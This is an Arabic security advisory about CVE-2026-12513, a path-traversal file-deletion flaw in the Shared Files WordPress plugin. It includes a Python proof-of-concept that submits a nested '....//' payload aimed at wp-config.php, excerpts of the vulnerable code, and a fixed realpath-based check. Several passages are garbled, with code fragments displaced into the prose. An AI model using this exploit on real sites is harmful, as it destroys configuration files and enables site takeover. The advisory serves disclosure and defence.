
استشارة فنية وإثبات مفهوم لـ CVE-2026-12513، حذف ملفات تعسفي غير مصادق عبر اجتياز المسار في إضافة Shared Files لووردبريس، بما في ذلك تحليل السبب الجذري وإرشادات المعالجة.
CVE-2026-12513 هي ثغرة حذف ملفات تعسفي غير مصادق عليه عبر اجتياز المسار تؤثر على إضافتي Shared Files وShared Files Pro لووردبريس قبل الإصدار 1.7.68، تم اكتشافها وتحليلها بواسطة باحث الأمن السيبراني Huynh Kien Minh (MinhHK). يقع الخلل في إجراءات معالجة إرسال الملفات من الواجهة الأمامية للإضافة، حيث يتم تصفية مسارات الملفات المقدمة من المستخدم باستخدام استبدال نمط اجتياز أحادي المسار معيب يمكن تجاوزه باستخدام تسلسلات متداخلة (مثل ). وبالتالي، يمكن لمهاجم عن بُعد غير مصادق عليه إرسال مسار معدل يشير خارج دليل التحميلات المقصود لاستهداف أصول خادم حرجة، بما في ذلك . عندما يقوم مسؤول لاحقًا بتنظيف أو حذف الإدخال المرفوع نهائيًا، يستدعي التطبيق بدائيات حذف نظام الملفات () ضد المسار التعسفي المخزن. يؤدي هذا إلى تدمير ملفات تكوين ووردبريس الأساسية، مما يسبب رفض خدمة شديد وتمكين الاستيلاء على الموقع عبر إعداد التثبيت غير المهيأ. قام الباحث الرئيسي Huynh Kien Minh بتقييم هذه الثغرة تحت درجة CVSS 3.1 بمقدار 6.8 متوسطة (CWE-73 / CWE-22)، موصيًا بتحديث الإضافات فورًا إلى الإصدار 1.7.68 أو أحدث والتحقق القوي من المسار الأساسي.
....//wp-config.phpunlink()روابط سريعة: استكشف محفظة الأمن السيبراني الرسمية للباحث أو راجع استشارة WPScan الموثقة.
| المعامل | المواصفات التقنية |
|---|---|
| معرف الثغرة | CVE-2026-12513 |
| البرنامج المستهدف | Shared Files / Shared Files Pro (إضافات ووردبريس) |
| معرفات الإضافات | shared-files, shared-files-pro |
| الإصدارات المعرضة للخطر | < 1.7.68 |
| الإصدار المُصحح | >= 1.7.68 |
| فئة الثغرة | تحكم خارجي في اسم الملف أو المسار / اجتياز المسار (CWE-73 / CWE-22) |
| درجة CVSS v3.1 | 6.8 (متوسطة) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| المكتشف / الباحث | Huynh Kien Minh (MinhHK) |
| جهة التحقق | WPScan / مؤسسة MITRE |
| مرجع استشارة WPScan | تقرير WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| محفظة الباحث | https://minhhk.web.app/ |
تتجذر الثغرة في آلية تعقيم مسار غير كافية مطبقة في معالجات إرسال الملفات من الواجهة الأمامية في Shared Files (< 1.7.68).
عند قبول إرسالات الملفات من الواجهة الأمامية، حاولت الإضافة إزالة تسلسلات اجتياز الدليل (../) باستخدام استبدال سلسلة أحادي المسار:
// مرشح تعقيم أحادي المسار غير آمن في Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
لأن str_replace() يتم تنفيذه مرة واحدة فقط من اليسار إلى اليمين:
....//....//....//wp-config.php../ مرة واحدة من ....//، تنهار الأحرف الخارجية معًا لتشكل ../:
....// -> ../../../../../wp-config.php!wp_posts أو جدول إضافة مخصص)./wp-admin/admin.php?page=shared-files، يستدعي الواجهة الخلفية unlink() على المسار المخزن المُحل:// منطق الحذف المعرض للخطر
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // يطلق حذف الملف المستهدف (مثل /var/www/html/wp-config.php)
}
wp-config.php:
/wp-admin/install.php).إخلاء مسؤولية أخلاقي: يُقدم إثبات المفهوم هذا حصريًا للبحث التعليمي والتحقق الدفاعي وتدقيق الأمان بموجب بروتوكولات الكشف الأخلاقية بواسطة Huynh Kien Minh.
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] Auditing Target: {target_url}")
# Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] Submission Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Traversal path successfully injected into database storage.")
print("[!] When the entry is deleted by admin, the target file will be unlinked.")
return True
else:
print(f"[-] Request failed with HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 أو أحدث.wp-config.php للقراءة فقط (chmod 400 أو 440) لعملية خادم الويب.فرض حل المسار الأساسي الصارم باستخدام realpath() وwp_normalize_path() لضمان بقاء العمليات ضمن حدود دليل التحميلات المحدد:
// نمط التحقق الآمن من المسار (الإصدار 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// تأكد من أن realpath المُحل يبدأ بدقة بالدليل الأساسي المحدد
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh (MinhHK) هو باحث في أمن المعلومات متخصص في أبحاث ثغرات ووردبريس، وتدقيق أمان النواة والإضافات، ونمذجة الاستغلال الدفاعي.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}